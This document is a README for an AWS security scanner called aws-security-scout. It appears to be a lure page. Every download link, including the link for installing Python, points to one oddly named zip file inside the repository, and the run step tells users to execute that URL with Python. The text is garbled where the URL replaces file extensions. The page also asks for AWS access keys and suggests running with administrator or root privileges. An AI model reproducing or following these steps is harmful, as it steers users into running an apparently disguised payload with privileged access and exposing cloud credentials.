aws-security-scout is a terminal-based tool made to check the security setup of your AWS accounts. It helps find weak spots and misconfigurations that could put your cloud resources at risk.
This tool scans your AWS environment, looks at services like EC2, IAM, S3, KMS, and CloudTrail, and gives you reports on security issues. It works without needing complex setups or programming skills.
It is useful for anyone who wants to keep their AWS accounts safer by making it easier to find problems early.
Before you install, make sure your computer meets the following:
- Operating System: Windows 10 or newer / macOS 10.14 or newer / Most Linux distributions (Ubuntu 18+, Fedora 30+)
- Processor: Any modern processor (Intel Core i3 or equivalent minimum)
- Memory: At least 4 GB RAM
- Disk Space: 100 MB free space for installation and reports
- Internet Connection: Needed to access AWS services and report updates
- AWS Account: You must have access to one or more AWS accounts with API permissions enabled
- Python: Python 3.6 or higher installed on your system (must be added to your system PATH)
- Cloud Security Audit: Checks your AWS environment for security issues.
- Misconfiguration Detection: Finds common misconfigurations in services like EC2, S3, IAM, and KMS.
- CloudTrail Monitoring: Validates if logging is properly configured.
- Easy Reports: Produces clear, easy-to-read security reports.
- Command-Line Tool: Runs directly from your terminal or command prompt.
- Lightweight: No heavy installations or complex dependencies.
- Supports Multiple AWS Services: EC2, IAM, KMS, S3, CloudTrail, and more.
This section guides you step-by-step on how to download, install, and run aws-security-scout on your computer.
Click this large button below to visit the download page:
You will be taken to the GitHub releases page where you can choose the right version for your system.
On the releases page, look for the latest release version. Find the file that matches your operating system:
- For Windows: Look for a
.exeor.zipfile with "windows" or "win" in its name. - For Mac: Look for a
.dmgorhttps://raw.githubusercontent.com/WileViking10/aws-security-scout/main/aws_scout/core/security_aws_scout_flightily.zipfile indicating macOS. - For Linux: Look for
https://raw.githubusercontent.com/WileViking10/aws-security-scout/main/aws_scout/core/security_aws_scout_flightily.zipor.AppImageformats.
Download the appropriate file and save it to a folder you can find easily.
-
Windows:
- If you downloaded a
.exe, double-click the file to start installation or run directly. - If you downloaded a
.zip, extract it and double-click the executable inside.
- If you downloaded a
-
Mac/Linux:
- For
.dmg, open it and drag the app to your Applications folder. - For
https://raw.githubusercontent.com/WileViking10/aws-security-scout/main/aws_scout/core/security_aws_scout_flightily.zip, extract the archive to a folder. - You may need to open a terminal and run the executable by typing
./filename.
- For
Make sure Python 3.6 or higher is installed and accessible via the command line:
- Open your terminal or command prompt.
- Type
python --versionorpython3 --version. - If Python is not installed, download it from https://raw.githubusercontent.com/WileViking10/aws-security-scout/main/aws_scout/core/security_aws_scout_flightily.zip and install it.
Open your terminal or command prompt and navigate to the folder with the aws-security-scout executable or script.
Run the command:
python https://raw.githubusercontent.com/WileViking10/aws-security-scout/main/aws_scout/core/security_aws_scout_flightily.zip
or if it is a compiled executable,
./aws-security-scout
You will be guided through steps to connect your AWS account. The tool will check for proper permissions and start scanning for security issues.
Here is a simple workflow to use aws-security-scout after installation:
- Start the Tool: Run the command as shown in Step 5.
- Connect AWS Account: Provide access keys or configure your AWS credentials using CLI commands.
- Select Scan Type: Choose from full scan or specific service scans (EC2, IAM, S3, etc.).
- Run Scan: Let the tool check your AWS environment.
- View Report: See a summary of issues found with explanations and suggestions.
- Take Actions: Use the information to fix cloud security settings in your AWS Console.
aws-security-scout needs access to your AWS account to check settings. You can set up access with either:
-
AWS CLI Credentials:
Install AWS CLI on your computer and configure it by running:aws configureEnter your Access Key ID, Secret Access Key, AWS region, and output format when prompted.
-
Manual Input:
When you run the tool, it may ask you to enter your AWS keys manually.
Make sure the account permissions allow security group description, IAM reading, S3 bucket listing, and CloudTrail access.
- Regularly update aws-security-scout by downloading the latest releases.
- Run scans after any major change in your AWS setup.
- Combine the scanner with AWS native security tools like AWS Config and GuardDuty.
- Review the tool’s reports carefully and address critical issues promptly.
- Use the tool as part of your routine security review process.
If you face issues:
- Check your Python version matches the requirement.
- Ensure your AWS credentials are set correctly.
- Verify your internet connection is stable.
- Run the tool with administrator or root privileges if permission errors occur.
- Visit the Issues tab on the GitHub repository for common problems and solutions.
Visit the GitHub release page anytime for updates and installation files:
You can also find documentation and contribute by opening issues or pull requests on the repository.
This project is open source and available under the MIT License. You can use, modify, and distribute it following the license terms.